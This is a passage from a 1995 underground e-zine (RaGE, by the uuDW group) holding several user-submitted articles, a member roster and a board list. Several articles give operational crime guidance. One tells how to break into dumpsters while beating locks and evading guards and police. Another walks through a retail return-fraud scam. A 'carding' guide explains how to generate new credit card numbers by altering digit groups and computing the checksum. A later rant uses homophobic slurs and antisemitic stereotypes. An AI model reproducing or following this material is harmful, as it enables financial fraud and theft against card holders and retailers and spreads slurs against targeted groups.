anything that will hinder your access such as locks, cameras, security guards, traffic, etc. And be prepared for the quickest way in. Look for your route to and from the area, and notice the visibility you will have from the actual spot of your surroundings. This will be benificial for a safe lookout. A lock and chain will be easily defeated with a small crowbar. If you are good with a set of picks, then try that. I just think it takes up valuable rummaging time. Cameras are a little tricky, and I tend to avoid them. If you are bold enough, wear dark clothing, and stay out of the direct view of the lens. Don't try to disable the camera of tamper with it in any way. If there is someone watching, this is the easiest way to bring attention to the monitor with your face all over it. Security guards are easy. Most of them do rounds the same way, at the same time each night. Just watch their habits for three nights in a row, and plan accordingly. Remember, they can't wait to go back and sit in the office with coffee and doughnuts. Traffic isn't a big deal, unless your dumpster of choice is in plain view of a highway, or a busy road. If it is, be prepared to have a visit from the local authorities. (Tipped by a concerened citizen). Have a story ready. Now, once you've planned for every scenario, it's time to head out. You will need to have a person in the dumpster to pass out bags, a person to bring the bags to the vehicle, a driver, and a person to start searching through your loot. The last person is optional, as it is advisible to take the bags to a safe location to be searched. When leaving the area, don't drive with your headlights off. This is a sure-fire way to bring attention to yourself. Just simply drive away. With these techniques, you will have many safe, and productive trips to a dumpster near you. I in no way accept responsibility for the actions of others who may read this. And in typing this article, my soul intent is to spread public knowledge. ThundR/uuDW --- Blockbuster Video Game Scam This scam is fairly easy and can be very profitable. First of all you will need anywhere from $5 to $20 dollars, and a Blockbuster Video store. Blockbuster Video is always selling previously played SNES, Sega Genesis and Sega CD games for low prices, between $5 and $20 dollars. The boxes are already shrink wrapped and the game is not in the box it's handed to you seperately (which comes in handy later on). All you do is go to Blockbuster Video, buy a game (I prefer to buy Sega CD games for the simple reason that they are more expensive when bought new). Next CAREFULLY take off any stickers attached to the wrap (to get the sticky shit off that is left behind just use nail polish remover). Then all you do is go to your friendly neighborhood Kmart, Walmart, or any such store (I don't recommend Target). Take the game to the electronics department, not the return desk (this helps the process move quicker) approach the young pimple faced counter boy with the game in a bag. When he asks: "May I help you?" You wanna say "YES", tell him your mom had bought the game a week ago for your birthday and that you already had it, or some shit like that. Of course if your 30 years old your not going to say that, so come up with an excuse. He might ask you for a receipt, if this happens simply say it was a gift and you don't have it. You are usually allowed 2 returns without a receipt to each store, after that they will enforce a receipt rule, but that's okay just go to another store. He will take the box, put it under the counter and give you the full amount they are selling the game for (which is about 3 times what you paid for it, sometimes more). You still have the game itself (which you can keep or sell to a friend or a game store). Here are a few ideas you can use when doing this scam. Of course you can do this scam anytime of the year, but I suggest you go crazy after Christmas and major holidays, when returns come in every minute. Also, never just walk into the store with the box in your hand (no bag) it does look somewhat suspicious. Another important concept is who should you argue with if a refund isn't given, if the young pimple faced faggot doesn't give it to you argue with him and ask for the manager. The manager will most likely give you the money very quickly to avoid further complications. If he doesn't believe you, then go to another store (never argue with the manager). After you run the scam a few times you will get good and make alot of money. If you happen to have a friend in the electronics department then you've got it made, just cut him off a piece of the action and your rich... :) Lord Xeen (WarToy) --- How the Numbering on CC's Works And How People Change Them. Credit card Format: TBBB-LLLL-XXXX-XXXC T = Type B = Branch of bank L = Limit/experation date X = Identification purpose C = Checksum Type of cards... (The letter T in the Example): 3 = American Express Card 4 = VISA Card 5 = MasterCard 6 = Discover Card Branch codes, different for each type of card: VISA BBB Bank --- --------------------------- 019 Bank of America 024 Bank of America 052 First Cincinatti 060 Navy Federal Credit Union 128 Citibank 131 State Street Bank 215 Marine Midland 225 Chase Manhattan 231 Chase Lincoln First Classic 232 Chase Lincoln First Classic 241 Nat. Westminester Bank 250 First Chicago Bank 271 Citibank Preferred 302 H.H.B.C. 310 Imperial Savings 317 Gold Dome 387 Bank One 428 Bank of Hoven 811 Bank of Hawaii 897 Village bank of Cincinatti MasterCard BBB Bank --- --------------------------- 215 Marine Midland 217 Manufacturers Hanover Trust 233 Huntington Bank 242 Chevy Chase Federal Savings 254 Bank of America 263 Chemical Bank 273 Bank of America 286 Chase Lincoln First 317 Norwest 323 Bank of New York 329 Maryland Bank NA (MBNA) 410 Citibank Preferred 411 1st Fin. bank of Omaha 414 Nat. Westminester Bank 415 Colonial National Bank 424 Citibank 465 Chase Manhattan 678 Marine Midland III. Bank Codes (International Bank or Interlink Numbers): These are used in checking credit. Later on, you will learn that while checking the credit cards for the amount of credit, you will be prompted to enter the Bank ID along with the Merchant ID. The bank ID's are, I believe, from the following list. One note -- you cannot just choose any Bank ID and use it with any Merchant ID. They must correspond in some way. How, I don't know. I THINK that a bank issues a merchant number to each of their customers. If you try to use a merchant number with a bank number, and the merchant doesn't actually use the bank that is specified by the bank number, you are going to get some problems. (i.e. The verification won't go through.) Again, I will state that this is only a theory. The reason that I post this theory is to get minds working. So far, no one has mentioned their ideas on the function of Bank Codes. If you do happen to find out the true meaning of these numbers, please get in touch with me so I can update this list. Thanks! One word -- on VISA credit cards, the Bank ID's are the first 4 digits of the Card. For MasterCards, however, they vary. A list follows: Bank Bank Code --------------------------- ------------ Chemical Bank 1263 Marine Midland 6207 (1207?) Manufacturers Hanover Trust 1033 Citibank 1035 Huntington 1226 First Card Gold 1286 MBNA 6017 Chase Manhatten 1665 [Bank from 5127] 1015 The LLLL part, or the second group on a credit card in from the left, contains some VERY useful information about the card. This group holds the information on the Maximum Expiration Date and the Maximum Credit Limit. (I believe that you can all see the benefits of this.) This does not mean, however, that the ACTUAL expiration date and ACTUAL credit limit are in this group. What it means is this: When the different Credit Card Companies issue Credit Cards to the consumer, he of course has a credit limit. And when the Companies formulate credit cards, they create certain groups for certain customers. That is, certain "groups" contain all the credit cards for people with a credit limit between $X and $Y. The same thing goes with the expiration dates. Everyone whose card expires after M1/Y1 and before M2/Y2 has their credit card in a certain group formulated by the company. For example: My name is Joe Schmoe. My VISA credit card expires in January of the year 1999. My credit limit on this card is $7,000. My credit card number (CCN) will probably be in the same group as my brother-in-law Jack Koff whose card expires in December of 1998 and whose credit limit is $6,000. BUT, our cards will be in different groups entirely than my boss' whose card expires in June of 1995 and whose credit limit is $40,000. Back to the point of section IV: Lets say you have a credit card with a known expiration date and known credit limit. Lets also say that you happen upon ANOTHER credit card whose numbers are the same up until the last 2 groups. (You and I see that these two cards were issued by the same bank and PROBABLY have a credit limit in the same ball park and an expiration date not far from each other.) BUT, even though you have this new credit card, you lost the expiration date and credit limit. GOSH! How are you going to use this card when you don't know this information?! APROXIMATE! You have a general idea now, and you can go from there. One warning here: I have found that small groups of cards with high credit limits are often hidden in between large groups of cards with very low credit limits. For instance, lets look at this card: 4123 4567 8901 2345. From -4567 until 4600 in group 3 (from the right) gold cards may exist. But after 4600 and before 4567, cards with credit limits of $500 exist. Kind of sucks, huh?! Just wanted to make you aware of this. Now, once you learn how to modify these without hurting the card, you have increased your value as a carder by 100x. But be careful. Often when you modify a card's group 3 to get a higher credit limit line of cards, you will find the entire line is dead. Or, in other cases, just the original card you find is dead, and all surrounding cards are valid with the new credit limits. V. "Group 2" & "Group 1" These two groups, or the last two groups on the credit card, are the easiest to modify. By changing these in such a way, you can formulate new credit cards simply by doing a little math in your head. These two groups contain the IDentification codes. Later on in your carding ventures, you might find out how to change these, and thus, you have found the secret to a vault of new and awaiting credit cards. I stress here that the only purpose that these two groups serve is to differentiate between customers. If the first two groups of two cards are the same and the last two groups of two cards are different, the two cards were issued by the same bank and probably have similar credit limits, but are of course issued to different people. So I'm sure you could play around with those on your own to get new CC numbers. Now the tricky part is the last digit, the checksum... What's the checksum for? It's to stop people from making up their own cards. But its easy to calculate. (With instructions): Credit Card. XXXX-XXXX-XXXX-XXXC (fill in numbers from above). X is a number, and C (the key to the formula) is a check-digit. Ignore the check-digit (we'll create one) fill in the X digits with numbers (zero through nine). Take every odd digit (from right to left) and multiply it by two, if the resulting number is greater than or equal to ten subtract nine. Do this for all of the odd digits and add the results together. Next add all of the even digits to the total calculated the resulting number find the next higher multiple of ten and subtract out the result from it. Stumble/uuDW --- The Secret Hydro Closet Garden To jump to the instructions I put the credits last. We want to make a small garden without Ma or the 5-0 finding out, eh? Well, go to the local hardware store and get the following things... Two 5 gallon buckets (the kind that sheetrock shit comes in). A small pouch of seeds (hemp of course). Two good size bags of fertilized top soil, cow manure, etc... One florescent grow light (or the iced white type). A hand-held blow torch (you should be able to find one in Radio Shack). 2 cartridges of CO2 (used for pellet guns). A length of rubber tubing (it must fit the head of the torch). * Wash your hands before ALL of this! Okay, place the first bucket on top of the other, hinge them anyway you find necessary, that will be your lid, or top half. At this point you should have two buckets, one on top of another. Now cut a "V" shape directly in the back the top 5 gallon bucket, this "V" shape should be half the length of the bucket, this will be used for direct lighting. Fill the lower bucket with the top soil. Mount one end of the tubing to the head of the torch; mount the torch on the ouside of the top bucket, the torch will not be used as a torch in this project, it will be used as a virtual breathing apparatus for the Cannabis, by replacing the butane capsules with CO2 cartidges. Drill a hole in the top bucket on the side approximately the same size if not a little smaller than the rubber tubing. It should be close to the area where you've already mounted the butane torch. Drive the hose thruogh the hole and let the hose dangle within the bucket so that it would be pointing at the Cannabis plant(s). Mount the florescent light to the inside closet wall towards the back then face the "V" shaped hole towards the light so the budz will BUD. When planting the seeds be sure to make sure they are already to BUD (germinate), in order to make happen get a clean Burger King ashtray fill it with water, then leave some seeds in there until they've started. Then you pick them up carefully and gently poke them into the top soil so that they are buried about one inch deep. Every tenth day turn the light out and cover the "V" shaped hole and turn the torch with the C02 cartridges to very low, do this until both CO2 cartridges are empty, then uncover the "V" shaped hole to release CO2 gas. After which you simply turn the light back on and start all over again until that fat green bud starts growin. When that CO2 gas hits the hemp, it doubles the hit, becomes greener and tastier too! More to come later... %) O.D. !!! --- Microsoft Windows '95 The Microsoft Windows 3.x operating system is not really an operating system at all, even though it is referred to as one. It is a graphical cover- up of DOS, with some environment-specific functions to it. Users who did not want to learn how to use DOS could take the easy way out and use Windows. Windows '95 will change this entirely; there is no DOS beneath the Windows, making it a true operating system. This is a good move for Microsoft, since they will be able to make things that much easier for computer users, especially in the domain of inexperienced users. By eliminating DOS altogether, Windows '95 effectively turns the PC platform into a Macintosh look-alike platform. It is a bad move, however, for the future of the PC scene as a whole. People were once forced to learn how to use DOS, which in turn led them to learn more about the system they were working on, and understand how it worked. Knowledge was always a key asset in the world of computers. Win95 will change all that by allowing people who know little or nothing about their computer to access the Internet, take advantage of "plug and play" capabilities, and do so without knowing exactly what is happening since Win95 hides it from them. Win95 is destined to boost PC sales. That's how Microsoft planned it. From these sales, Microsoft will benefit nicely. Money corrupts everyone. By releasing Win95, Microsoft will open up the ultimate demise of America; traditionally, Americans are lazy, and this will just extend an open hand to those who want to get more from doing less. Advances in the personal computer industry did not come by accident; people had to struggle to create software and the systems that run it. Piracy will slow Microsoft's profitability on the new Win95 OS. I remember seeing pirated copies of "Chicago" on the Internet as early as May 1994, and that was probably not even the start of it. Even now, pirates are rushing out to get the newest beta builds of Win95. It is 20 disks long, if not more, and that means a 5 hour download at 14400 bps. In other words, some of these pirates are just damn crazy. Then again, pirated copies of IBM's OS/2 Warp operating system also were abundant on the net, and it could be said that piracy is free publicity. People are able to test a program before buying it (if they are honest), and if the program is good enough, they might buy it to avoid getting a virus or trojan in their pirated copy. Another reason people might buy their own copy is if the "crack" for the program is faulty, the program might not function correctly. In any event, IBM's OS/2 Warp has become a popular operating system, but what would it be like if it hadn't circulated the Internet? I've heard stories of confused computer owners asking where the "Any" key is on their keyboard (when prompted to "Press any key"). Another confused computer owner called a hotline to report that her computer's footpedal didn't work. She later discovered that she was supposed to place her hand over this small white gadget, and that it was a pointing device, not a footpedal (better known as a mouse). Another individual had recently purchased a system with a fax-modem, and had tried for hours to hold pages up to his monitor and press buttons, but couldn't send faxes. He later learned about fax software. These are the kinds of things that any 12-year-old computer geek would already know. When the Win95 operating system becomes available to the public, there will be a new and growing population of computer users. According to Wired Magazine, Microsoft is anticipating 30,000 customer-service calls daily after the release of Win95. I don't want to be the one answering the technical support phones. I don't want to be the one showing someone how to turn their computer on. I don't want to overhear someone saying, "I just bought a Pentium system with 16 megabytes of RAM, a 28800 bps fax-modem, a laser printer, and a 1 gig hard drive. Now, what do I do with it?" Misinformation is the cause of stupidity in the world. If people would be open to learning instead of simply taking the easy way, this world might actually get somewhere. GraveDigger/uuDW --- My feelings on Nazi's Nazi's suck... The other day I was watching MTV, some stupid fucking video came on and it had tons of little Nazi symbols, and pictures of Adolf Hitler. I watched it for a few minutes and couldn't understand why they worship a man with no sense of fashion! Now if Hitler had a gotee I could see him getting some respect, but no... He's got a little stupid miniture "I am not manly enough to grow a real mustache" mustache... Jeeze... Those damn swastika's... They have them on everything... I bet the real X-treme even tattoo the symbol on their ass so that when the ass pirates come to fuck 'em they know that it's a virgin piece of ass. Now I can understand why Nazi's hate fags, I am slightly homophobic myself. But I only get that way when guys try to come onto me... And I figure if he gets off on fucking a dude up the ass that just means more pussy for me... Now onto the subject of Jews... Jews kick ass! Look at those neat things that they do with their hair. Those fat ass curls... God those are fresh! Also who cares if Jews killed Christ or whatever the fuck they are blamed for... He would've died eventually... I'm a slightly religious person, but I don't think that we should punish a whole group of people for a mistake a few stupid fucks made. Another bonus about Jews is that they are usually pretty honest. They don't go around stealing shit, they start a jewlry store and rob us blind when we are getting married. (Ex. When was the last time you were mugged by some Jewish guy with his neato hat on? Never right? My point exactly.) Now... Hmm... There are MANY more things I could go into... I could bash a few groups for sporting the "swastica" in there logos... But I don't feel the need at this moment... Peace out... Gotta love them Jews! :) ^ / \ / \ ________/_____\________ \ / \ / \ / \ / \ / / \ / \/ \/\ \/ /\ \/\ /\ / \ / / \ / \ / \ /______\_______/______\ \ / \ / \ / V Lets all get along... Flames welcome! (End Note: I just write articles about shit, I dont agree with what I say if you got a prob with me, then like bite me. I'm just a bored writer that sez stupid shit when he's high) Stumble/uuDW !!! --- Submission Guidelines Text articles intended for publishing in RaGE should follow these guidelines: 1. Indent all paragraphs by 5 spaces. 2. Do not exceed 80 columns. 3. Do not leave blank lines between paragraphs. 4. Leave one space after a comma, two spaces after a period. 5. When including multiple periods, use three in a group... (like that!) 6. Reprinted articles from magazines or newspapers should include your reaction, and not just be by itself. 7. Try to avoid words like "eleet", "k-rad" and FuNKy CaPS TyPiNG. We are trying to be informative here, not pseudo-elite. 8. Give your article a title at the top, and sign with your handle at the bottom of your article. 9. Do not submit fictitious or false information. 10. Spell-check your article before submission. 11. Do not submit something that has already been printed. 12. Do not submit scan lists older than 2 months old. 13. Do not include source code that will not compile. 14. All submissions become sole property of RaGE Magazine, and the uuDW. These submissions can not be reprinted without written consent of the editor of RaGE. Reprinted text and articles are an exception. These guidelines are meant for you to help us by properly preparing your submission before sending it to us. It saves us a lot of time in editing, proofreading, and it keeps us happy. , .њљ-ФФФ[]Ф uuDW Role Call as of 03/12/95 Ф[]ФФФФФ--Фљј .ј кФљњ. .њљФТФ-Фљњ. .њљ-ФФТФ-Фљњ. .њљ-ФФТФФФ--Фљњ. .њљ--ФФФФП Г Section Г Title Г Handle Г Internet Mail Address Г УФљњ. .њљФХФ-Фљњ. .њљ-ФФХФ-Фљњ. .њљ-ФФХФФФ--Фљњ. .њљ--ФФФФД Г Coordi- Г USA Coord Г GraveDigger Г uudw@cyberspace.org Г Г nators Г Canada Coord Г Downtown Г Г УФљњ. .њљФХФ-Фљњ. .њљ-ФФХФ-Фљњ. .њљ-ФФХФФФ--Фљњ. .њљ--ФФФФД Г Senior Г Asst. Coord Г Grendel Г vasouthw@mailbox.syr.edu Г Г Staff Г Asst. Coord Г NiGhTmArE Г an150035@anon.penet.fi Г Г Г NetCoord/PR Г Sandman Г sandman@bbs.scsd.k12.ny.us Г УФљњ. .њљФХФ-Фљњ. .њљ-ФФХФ-Фљњ. .њљ-ФФХФФФ--Фљњ. .њљ--ФФФФД Г Members Г Г Rhythm Greene Г Г Г Г Г PSYC0SiS Г Г Г Г Г Howler Г an158401@anon.penet.fi Г Г Г Г NeuromanceR Г caoimhin@fpg.gcomm.com Г Г Г Г Mr. Orange Г Г Г Г Г sTumble Г Г Г Г Г Crax Г crax@freeside.scsd.k12.ny.us Г Г Г Г Bluesman Г Г Г Г Г Thunder Г Г РФљњ њљФСФ-Фљњ њљ-ФФСФ-Фљњ њљ-ФФСФФФ--Фљњ њљ--ФФФФй , .њљ-ФФФ[]Ф uuDW Affiliate Boards Ф[]ФФФФФФФФФФФФФ--Фљј .ј кФФ--Фљњ. .њљ--ФФФТ--љњ. .њљ-ФТФ-Фљњ. .њљ-ФФТ-љњ њљФТ-љњ њљФТ--љњ. .њљ-ФП Г Board Г Sysop Г Number Г Bps Г HD Г uuDW/neT Г УФФ--Фљњ. .њљ--ФФФХ--љњ. .њљ-ФХФ--љњ. .њљ-ФФХ-љњ њљФХ-љњ њљФХ--љњ. .њљ-ФД Г EtERNiTY Г NiGhTmArE Г 3i5.DoWN.NoW Г 144oo Г 1 GiG Г 242:1/1 Г Г ў uuDW World HQ ў Г ^^ Г ^^ Г ^^ Г ^^ Г ^^ Г Г ў NorthEast HQ ў Г ^^ Г ^^ Г ^^ Г ^^ Г ^^ Г Г Ut0PiA Г PSYC0SiS Г 3i5.656.5i35 Г 288oo Г 1 GiG Г 242:1/2 Г Г ў Home of RaGE! ў Г ^^ Г ^^ Г ^^ Г ^^ Г ^^ Г Г Independent NationГ Crax Г 3i5.656.4i79 Г 144oo Г 7ooMB Г Г Г World of Filth Г Lord Xeen Г CoM.iNG.SooN Г Г 3.5GiGГ Г УФФ--Фљњ. .њљ--ФФФХ--љњ. .њљ-ФХФ--љњ. .њљ-ФФХ-љњ њљФХ-љњ њљФХ--љњ. .њљ-ФД Г ragNARok Г Poet-X Г 6i9.443.SCaN Г 144oo Г 1 GiG Г 242:666/1 Г Г [NODE 2] ringdn Г ^^ Г 6i9.TRy.SCaN Г 288oo Г ^^ Г ^^ Г Г ў West Coast HQ ў Г ^^ Г ^^ Г ^^ Г ^^ Г ^^ Г Г tHE RiVER StYX Г Dark Soul Г 4o8.239.o783 Г 288oo Г 1 GiG Г 242:666/2 Г РФФФ--Фљњ њљ--ФФФФСФ--љњ њљ-ФФСФ--Фљњ њљ--ФФСФљњ њљФС-љњ њљФСФ--љњ њљ-ФФй If your BBS is missing from this list, you have to get in contact with one of the senior staff members or coordinators. Your board has most likely been removed because we have not heard from you in a while. , .њљ-ФФФ[]Ф uuDW Contact Info Ф[]ФФФФФФФФФФФФФФФФФ--Фљј .ј Send eMail to uudw@cyberspace.org Find our RaGE magazine on these anonymous FTP archives: ftp.fc.net /pub/defcon/RAGE paranoia.com /pub/zines/rage ftp.rahul.net /pub/lps/comp_cult WWW page is in the works. Watch for it soon. , .њљ-ФФФ[]Ф End Ф[]ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ--Фљј .ј